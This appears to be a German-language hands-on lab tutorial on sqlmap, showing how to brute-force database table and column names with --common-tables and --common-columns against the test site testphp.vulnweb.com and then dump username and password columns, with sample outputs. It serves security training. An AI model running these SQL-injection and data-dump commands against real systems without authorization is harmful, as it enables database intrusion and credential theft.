Einleitung
In diesem Lab werden Sie fortgeschrittene Techniken in sqlmap erkunden, um Datenbanktabellen- und Spaltennamen zu entdecken, wenn Standard-Enumerationsmethoden unwirksam sind. Dies tritt häufig in realen Szenarien auf, in denen Webanwendungen robuste Filter oder Web Application Firewalls (WAFs) implementieren, die gängige SQL-Injection-Payloads blockieren. Sie lernen, wie Sie die Brute-Force-Fähigkeiten von sqlmap nutzen, insbesondere die Flags --common-tables und --common-columns, um versteckte Datenbankstrukturen mithilfe integrierter Wortlisten zu identifizieren. Diese praktische Erfahrung wird Sie mit wesentlichen Fähigkeiten für umfassendere SQL-Injection-Tests ausstatten.
Szenario identifizieren, in dem die Standard-Enumeration fehlschlägt
In diesem Schritt simulieren Sie ein Szenario, in dem Standard-sqlmap-Enumerationstechniken möglicherweise keine Tabellen- und Spaltennamen entdecken können. Dies geschieht oft aufgrund von WAFs, strenger Filterung oder benutzerdefinierter Fehlerbehandlung, die sqlmap daran hindert, das Datenbankschema direkt abzuleiten. Obwohl wir für dieses Lab keine wirklich anfällige Anwendung einrichten werden, verwenden wir eine Platzhalter-URL, um zu demonstrieren, wie sich sqlmap verhält, wenn eine direkte Enumeration nicht möglich ist.
Zuerst versuchen wir einen Standard-Enumerationsbefehl für Tabellen und Spalten. Wir verwenden die Dummy-URL http://testphp.vulnweb.com/listproducts.php?cat=1 als Ziel. Diese URL ist in einigen Kontexten bekanntermaßen anfällig, aber für diese Übung gehen wir davon aus, dass sie so konfiguriert ist, dass die direkte Enumeration blockiert wird.
Öffnen Sie Ihr Terminal und führen Sie den folgenden sqlmap-Befehl aus. Dieser Befehl versucht, Tabellen und Spalten für die Datenbank acuart zu enumerieren.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --tables -D acuart --columns -T users --batch
Sie werden möglicherweise feststellen, dass sqlmap Schwierigkeiten hat, Tabellen oder Spalten zu finden, oder es wird gemeldet, dass keine Tabellen/Spalten gefunden wurden, auch wenn sie existieren. Dies simuliert ein Szenario, in dem die direkte Enumeration blockiert wird. Das Flag --batch weist sqlmap an, Standardantworten auf Fragen zu verwenden, wodurch der Prozess nicht-interaktiv wird.
Beispielausgabe (kann variieren, aber beachten Sie das Fehlen entdeckter Tabellen/Spalten):
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] Haftungsausschluss: Die Nutzung von sqlmap für Angriffe auf Ziele ohne vorherige gegenseitige Zustimmung ist illegal. Sie sind für Ihre eigenen Handlungen verantwortlich.
[!] sqlmap wird "wie besehen" bereitgestellt, ohne jegliche Gewährleistung, weder ausdrücklich noch stillschweigend.
...
[INFO] fetching tables for database 'acuart'
[INFO] no tables found in database 'acuart'
[INFO] fetching columns for table 'users' in database 'acuart'
[INFO] no columns found in table 'users'
...
Diese Ausgabe zeigt an, dass sqlmap Tabellen und Spalten nicht direkt aufzählen konnte. In solchen Fällen wird das Brute-Forcing gängiger Namen zu einer praktikablen Alternative.
Verwenden Sie das Flag --common-tables, um Tabellennamen per Brute-Force zu ermitteln
In diesem Schritt verwenden Sie das Flag --common-tables, um Tabellennamen per Brute-Force zu ermitteln. Dieses Flag weist sqlmap an, eine integrierte Wortliste gängiger Tabellennamen (z. B. users, admin, products, orders) zu verwenden und diese gegen das Ziel zu testen. Dies ist besonders nützlich, wenn die direkte Enumeration blockiert wird.
Verwenden Sie weiterhin dieselbe Ziel-URL http://testphp.vulnweb.com/listproducts.php?cat=1 und die Datenbank acuart.
Führen Sie den folgenden sqlmap-Befehl aus:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --common-tables --batch
Dieser Befehl weist sqlmap an, zu versuchen, gängige Tabellennamen innerhalb der Datenbank acuart zu identifizieren. sqlmap wird seine interne Wortliste durchlaufen und versuchen, vorhandene Tabellen zu finden.
Beispielausgabe:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common tables for database 'acuart'
[INFO] retrieved common table: 'users'
[INFO] retrieved common table: 'products'
[INFO] retrieved common table: 'categories'
...
Database: acuart
[3 tables]
+------------+
| categories |
| products |
| users |
+------------+
...
Sie sollten nun sehen, wie sqlmap erfolgreich gängige Tabellennamen wie users, products und categories identifiziert. Dies zeigt die Effektivität von Brute-Force-Angriffen, wenn die Standard-Enumeration fehlschlägt.
Analyse der gefundenen Tabellen aus der gemeinsamen Wortliste
In diesem Schritt überprüfen Sie die Ausgabe des vorherigen Befehls, um zu verstehen, welche gängigen Tabellen sqlmap erfolgreich identifiziert hat. Diese Analyse ist entscheidend für die Planung Ihrer nächsten Schritte im SQL-Injection-Prozess, da Sie durch das Wissen um Tabellennamen gezielt auf bestimmte Daten zugreifen können.
Aus der Ausgabe des vorherigen Befehls sollte sqlmap mehrere gängige Tabellen aufgelistet haben. Zum Beispiel könnten Sie Folgendes gesehen haben:
Database: acuart
[3 tables]
+------------+
| categories |
| products |
| users |
+------------+
Dies sind die Tabellen, die sqlmap durch Brute-Force seiner internen Wortliste gefunden hat. Das Vorhandensein von Tabellen wie users ist besonders interessant, da diese oft sensible Informationen wie Benutzernamen und Passwörter enthält.
Nehmen Sie sich einen Moment Zeit, um die Ausgabe in Ihrem Terminal zu untersuchen. Identifizieren Sie die Namen der Tabellen, die sqlmap entdeckt hat. Diese Namen werden in den nächsten Schritten verwendet, um Spaltennamen per Brute-Force zu ermitteln.
Für diesen Schritt ist kein spezifischer Befehl erforderlich, da er die Analyse der Ausgabe des vorherigen Befehls beinhaltet. Dieser Schritt unterstreicht die Bedeutung des Verständnisses der Ergebnisse Ihrer sqlmap-Operationen.
Verwenden Sie das Flag --common-columns, um Spaltennamen per Brute-Force zu ermitteln
Nachdem Sie gängige Tabellennamen identifiziert haben, können Sie nun Spaltennamen in diesen Tabellen per Brute-Force ermitteln. Ähnlich wie --common-tables verwendet das Flag --common-columns eine integrierte Wortliste gängiger Spaltennamen (z. B. username, password, email, id), um Spalten zu entdecken, wenn eine direkte Enumeration nicht möglich ist.
Nehmen wir an, Sie haben im vorherigen Schritt die Tabelle users gefunden. Sie werden nun versuchen, Spaltennamen innerhalb dieser users-Tabelle in der Datenbank acuart per Brute-Force zu ermitteln.
Führen Sie den folgenden sqlmap-Befehl aus:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --common-columns --batch
Dieser Befehl weist sqlmap an, gängige Spaltennamen innerhalb der Tabelle users der Datenbank acuart zu finden.
Beispielausgabe:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching common columns for table 'users' in database 'acuart'
[INFO] retrieved common column: 'id'
[INFO] retrieved common column: 'username'
[INFO] retrieved common column: 'password'
[INFO] retrieved common column: 'email'
...
Database: acuart
Table: users
[4 columns]
+----------+-----------+
| Column | Type |
+----------+-----------+
| id | int(11) |
| username | varchar(50) |
| password | varchar(50) |
| email | varchar(100)|
+----------+-----------+
...
Sie sollten sehen, wie sqlmap erfolgreich gängige Spaltennamen wie id, username, password und email innerhalb der Tabelle users identifiziert. Dies zeigt, wie Brute-Force kritische Informationen aufdecken kann, selbst wenn die direkte Enumeration blockiert ist.
Kombination von Brute-Force-Erkennung mit einem Data-Dump-Befehl
In diesem letzten Schritt kombinieren Sie die Brute-Force-Erkennung von Tabellen- und Spaltennamen mit einem Data-Dumping-Befehl. Sobald Sie interessante Tabellen und Spalten erfolgreich mit den Flags --common-tables und --common-columns identifiziert haben, können Sie das --dump-Flag von sqlmap verwenden, um die tatsächlichen Daten zu extrahieren.
Angenommen, Sie haben in den vorherigen Schritten die Tabelle users und Spalten wie username und password identifiziert, können Sie nun versuchen, die Daten aus diesen Spalten zu dumpen.
Führen Sie den folgenden sqlmap-Befehl aus, um die Spalten username und password aus der Tabelle users in der Datenbank acuart zu dumpen:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C username,password --dump --batch
Dieser Befehl weist sqlmap an, die Daten aus den angegebenen Spalten abzurufen.
Beispielausgabe:
_
___| |_____ ___ ___ ___ {1.7.10#stable}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --sqlmap.org
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is provided 'as is', without warranty of any kind, either expressed or implied.
...
[INFO] fetching entries for columns 'username,password' in table 'users' of database 'acuart'
...
Database: acuart
Table: users
[2 entries]
+----------+----------+
| username | password |
+----------+----------+
| test | test |
| admin | admin |
+----------+----------+
...
Sie sollten sehen, wie sqlmap erfolgreich Daten aus den Spalten username und password dumpte. Dies demonstriert den vollständigen Workflow: Identifizierung eines Szenarios, in dem die Standardenumerierung fehlschlägt, Verwendung von Brute-Force zur Entdeckung verborgener Strukturen und schließlich die Extraktion sensibler Daten. Diese Technik ist eine leistungsstarke Ergänzung Ihres SQL-Injection-Toolkits.
Zusammenfassung
In diesem Lab haben Sie gelernt, wie Sie die Brute-Force-Funktionen von sqlmap effektiv nutzen können, um Tabellen- und Spaltennamen zu entdecken, wenn Standard-Enumerationsmethoden blockiert sind oder fehlschlagen. Sie haben damit begonnen, ein Szenario zu simulieren, in dem die direkte Enumeration erfolglos war. Anschließend haben Sie erfolgreich das Flag --common-tables verwendet, um gängige Tabellennamen zu identifizieren, und das Flag --common-columns, um gängige Spaltennamen innerhalb dieser Tabellen zu finden. Schließlich haben Sie diese Entdeckungstechniken mit dem Flag --dump kombiniert, um Daten aus den identifizierten Spalten zu extrahieren. Diese praktische Erfahrung hat Ihnen eine entscheidende Fähigkeit für fortgeschrittene SQL-Injection-Tests vermittelt, die es Ihnen ermöglicht, gängige Abwehrmaßnahmen zu umgehen und wertvolle Informationen aus anfälligen Datenbanken abzurufen.


